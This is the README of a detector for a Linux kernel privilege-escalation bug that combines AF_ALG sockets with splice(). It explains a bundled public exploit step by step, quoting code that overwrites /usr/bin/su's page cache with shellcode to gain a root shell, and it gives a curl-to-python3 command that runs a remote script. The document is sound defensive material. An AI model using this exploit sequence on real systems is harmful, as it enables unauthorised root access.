A comprehensive detector for a class of Linux kernel privilege-escalation vulnerabilities that combine AF_ALG sockets with splice() to write into read-only file page caches.
This repository contains:
exp.py– A local copy of the public proof-of-concept exploit that demonstrates the vulnerability. The upstream PoC is published at copy.fail and in Theori's repository ascopy_fail_exp.py.detect.py– A safe, read-only detector that replicates the exploit primitives on a temporary file to determine whether the running kernel is vulnerable.
- Executive Summary
- The Vulnerability
- How the Exploit Works (
exp.py) - How the Detector Works (
detect.py) - Usage
- Technical Deep Dive
- References
Certain Linux kernels contain a bug where data spliced into an AF_ALG cryptographic socket can propagate back through the page cache and modify a read-only file's cached in-memory contents. This allows an unprivileged local attacker to overwrite the page-cache contents of any file they can open read-only — including set-uid binaries such as /usr/bin/su — and escalate privileges to root.
detect.py detects this condition by safely performing the exact same kernel operations on a harmless temporary file and checking whether the page cache is illegitimately modified.
The vulnerability is a page-cache write via read-only splice. In normal operation:
- A file opened with
O_RDONLYcannot be modified. splice()moves pages between file descriptors without copying through user space.
On vulnerable kernels, when a read-only file descriptor is spliced into a pipe and that pipe is then spliced into an AF_ALG socket, the AF_ALG AEAD path can place page-cache pages in a writable destination scatterlist. Subsequent reads from the same file return the attacker-controlled cached data even though the ordinary file write path was never used.
The version check is a hint, not a verdict. Copy Fail depends on whether the running kernel contains the AF_ALG AEAD in-place path and lacks the out-of-place fix. Distribution kernels often backport fixes without changing the upstream-looking version number, so the behavioural test is the authoritative result.
The detector uses this conservative heuristic:
| Low | High | Notes |
|---|---|---|
| < 4.14.0 | N/A | Likely predates the upstream AF_ALG AEAD in-place path associated with Copy Fail. |
| 4.14.0 | 6.18.99 | Potentially affected line. Public reports include 6.12, 6.17, and 6.18 kernels. |
| > 6.18.99 | N/A | Newer than the locally tracked public test range; check vendor fix status and trust the behavioural test. |
Important: A kernel inside the heuristic range may be patched, and a vendor/custom kernel outside it may still carry vulnerable code.
detect.pyreports the heuristic separately from the behavioural result for this reason.
exp.py is a local copy of the extremely compact public Python exploit published at copy.fail and in Theori's copy_fail_exp.py. It performs the following actions:
-
Open the target file read-only
f = os.open("/usr/bin/su", os.O_RDONLY)
The file is opened with
O_RDONLY, so no explicit write permission is requested. -
Decompress a tiny ELF payload
e = zlib.decompress(bytes.fromhex("78daab77..."))
The payload is a minimal
/bin/shshellcode ELF binary. -
Set up an AF_ALG socket
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
This creates a kernel crypto API endpoint using the AEAD "authencesn" algorithm.
-
Configure the socket
a.setsockopt(279, 1, key_data) # ALG_SET_KEY a.setsockopt(279, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE
Option
279isSOL_ALG. The exploit sets a key and authentication tag size. -
Accept an operation socket
u, _ = a.accept()
AF_ALGusesaccept()to create a per-operation socket (u) that actually performs the crypto work. -
Send a message with MSG_MORE
u.sendmsg([b"A"*4 + chunk], cmsgs, 32768)
The exploit sends a 4-byte dummy header plus a 4-byte payload chunk, along with three
SOL_ALGcontrol messages (IV, authentication data, operation type), using theMSG_MOREflag (0x8000).MSG_MOREtells the kernel that more data is coming, keeping the operation open. -
Create a pipe and splice
r, w = os.pipe() os.splice(f, w, count, offset_src=0) os.splice(r, u.fileno(), count)
- The first
splicemoves data from the read-only file (/usr/bin/su) into the write end of a pipe. - The second
splicemoves data from the read end of the pipe into the AF_ALG socket.
- The first
-
Consume the response
try: u.recv(8 + offset) except: pass
The socket may or may not return data; the exploit ignores any error.
-
Repeat for every 4-byte chunk of the payload
while i < len(e): c(f, i, e[i:i+4]) i += 4
The beginning of
/usr/bin/suis overwritten 4 bytes at a time with the attacker's tiny ELF payload. -
Execute the modified binary
os.system("su")
Because
/usr/bin/sunow contains attacker-controlled code, executing it yields a root shell.
splice()operates on page-cache pages, not on user-space buffers.- On vulnerable kernels, the page cache incorrectly assumes that pages moved through a pipe into a socket can be written to.
AF_ALGsockets accept data viasplice()and, due to the vulnerable in-place AEAD scatterlist layout, allow the original file's page-cache entry to be overwritten with the attacker's data.- Because the attacker only needed
O_RDONLYaccess to the file, standard DAC (Discretionary Access Control) does not prevent the overwrite.
detect.py uses a three-layer strategy:
- Version heuristic – Quickly flag potentially affected release lines.
- Prerequisite checks – Verify that the exploit primitives are even available on this system.
- Behavioural test – Actually perform the exploit sequence on a safe, temporary file and observe whether the page cache is modified.
Layer 3 is the ground truth.
When you run detect.py it performs the following actions in order:
Reads /proc/version, parses the version triple (major.minor.patch), and compares it against the conservative heuristic above. Prints a warning if the version is in a potentially affected line, but does not trust this alone.
Verifies four capabilities required for the exploit to function:
| Check | Purpose |
|---|---|
os.splice() exists |
Python 3.10+ exposes the splice() syscall |
AF_ALG socket creation |
Kernel must support the crypto socket address family |
authencesn algorithm |
The specific AEAD algorithm used by the exploit must be registered |
setsockopt(level, opt, None, optlen) |
Python must support the special AF_ALG option API |
If any check fails, the detector exits with code 2 because it cannot determine vulnerability in the current environment. This commonly happens inside containers or sandboxes that block AF_ALG socket creation.
Creates a temporary file with the following properties:
- Size: 64 KiB (larger than a single page, so multi-page interactions are tested)
- Content: Starts with
\x7fELF(mimics a real binary) followed by null bytes - Warm-up: The detector reads the file once to populate the page cache, exactly as
/usr/bin/suwould be cached in normal system use. - Creation: Uses
tempfile.mkstemp()so the temporary path is created atomically.
Then, for up to 128 iterations (4-byte chunks), it executes the identical primitive sequence from exp.py:
AF_ALG socket → bind authencesn → setsockopt key → accept()
↓
sendmsg(payload_chunk + MSG_MORE + SOL_ALG cmsgs)
↓
pipe()
↓
splice(ro_fd, pipe_write, count)
↓
splice(pipe_read, alg_socket, count)
↓
recv() on alg_socket
↓
read back from ro_fd and compare with original
If the read-back data differs from the original, the detector immediately reports VULNERABLE and prints the attempted write offset, the first byte that changed, and a small byte window around that change.
- No set-uid binary is touched. The target is a throw-away file in
/tmp. - No privilege escalation occurs. Even if the kernel is vulnerable, the attacker only overwrites a harmless temporary file that they already own.
- The payload is benign. The test payload is
\x90\x90\x90\x90(NOP-like bytes), not executable code. - All resources are cleaned up. The script uses
try/finallyblocks andos.unlink()to remove the temporary file regardless of success or failure. - No system commands are executed. Unlike
exp.py, the detector never runssuor any other privileged binary.
Run directly from GitHub:
curl -fsSL https://raw.githubusercontent.com/codref/copy-fail-detector/master/detect.py | python3Or run from a local checkout:
python3 detect.pyThe script requires Python 3.10 or newer (for os.splice()).
| Code | Meaning |
|---|---|
0 |
Not vulnerable. The behavioural test completed without detecting any page-cache modification. |
1 |
Vulnerable. The kernel allowed a read-only file's page cache to be modified using the AF_ALG + splice primitive. |
2 |
Inconclusive. Prerequisites are missing or the test infrastructure failed (e.g., algorithm not available, Python too old). |
======================================================================
Kernel Vulnerability Detector
AF_ALG + splice page-cache write detection
======================================================================
[*] Kernel version : 6.12.73
Version heuristic: 6.12.73 is in a potentially affected line (upstream in-place path introduced around 4.14; public reports include 6.12, 6.17, and 6.18; behavioural test is authoritative)
[*] Checking prerequisites ...
[OK] os.splice() available
[OK] AF_ALG sockets supported
[OK] authencesn algorithm available
[OK] setsockopt(level,opt,None,optlen) works
[*] Running safe behavioural test ...
Replicating exploit primitives on a temporary file.
This will take a few seconds.
======================================================================
RESULT: VULNERABLE
The kernel allowed modification of a read-only file's page cache
using AF_ALG + splice primitives. This matches the exploit
technique used in exp.py.
Details:
• MODIFICATION DETECTED after iteration 1 (attempted offset 0, first changed byte 0)
• original [0:16]: 7f454c46000000000000000000000000
• new [0:16]: 90909090000000000000000000000000
Iterations run: 1
======================================================================
======================================================================
RESULT: NOT VULNERABLE (behavioural)
The safe replication test did not modify the read-only file.
The kernel appears to be patched against this technique.
Details:
• Completed 128 iterations – no modification detected.
Iterations run: 128
======================================================================
AF_ALG (Address Family ALGorithm) is a Linux-specific socket interface that exposes the kernel's cryptographic API to user space. A typical workflow is:
- Create a socket with
socket(AF_ALG, SOCK_SEQPACKET, 0). bind()to a tuple("type", "algorithm")— e.g.("aead", "authencesn(hmac(sha256),cbc(aes))").- Configure the socket with
setsockopt(SOL_ALG, ...)for keys, IV sizes, etc. accept()to obtain an operation socket that performs the actual crypto operation.- Send data to the operation socket (plaintext, AAD, etc.).
- Receive the result (ciphertext, tag, etc.).
The AF_ALG layer is implemented in crypto/af_alg.c and crypto/algif_aead.c.
splice() is a zero-copy data transfer system call. When you splice from a file to a pipe:
- The kernel looks up the file's page-cache pages.
- It maps those pages into the pipe's buffer (a
struct pipe_inode_info). - The pages are passed by reference, not copied.
Normally, a consumer of spliced file data should not be able to write back into the page-cache pages it received by reference. In this bug, the AF_ALG AEAD receive path chains page-cache-backed tag pages into a destination scatterlist used by the crypto operation.
On vulnerable kernels, the sequence:
file_page_cache ──splice──► pipe ──splice──► AF_ALG socket
causes the page-cache page to be modified in-place with the payload that was sent via sendmsg() on the AF_ALG socket. Because the page cache is shared between all readers of the file, any subsequent read() or execve() using that cached page observes the attacker's data while the on-disk file may remain unchanged.
This is particularly dangerous for set-uid binaries because:
- They are owned by root.
- Any unprivileged user can open them
O_RDONLY. - The attacker does not need write permission to the file — only read permission and the ability to trigger the buggy kernel code path.
man 2 splice– Linux splice() system callman 7 af_alg– Linux AF_ALG socket interface- Linux kernel source:
crypto/af_alg.c,crypto/algif_aead.c,fs/splice.c - CVE-2022-0847 (Dirty Pipe) – Related splice page-cache vulnerability class
- copy.fail – Original Copy Fail disclosure and public PoC
- Theori
copy_fail_exp.py– Public exploit source mirrored by this repository'sexp.py
Licensed under the Apache License, Version 2.0. See LICENSE.
This detector is provided for security research, system administration, and defensive purposes only. It is designed to help administrators determine whether their systems need patching. Do not use exp.py on systems you do not own or have explicit permission to test.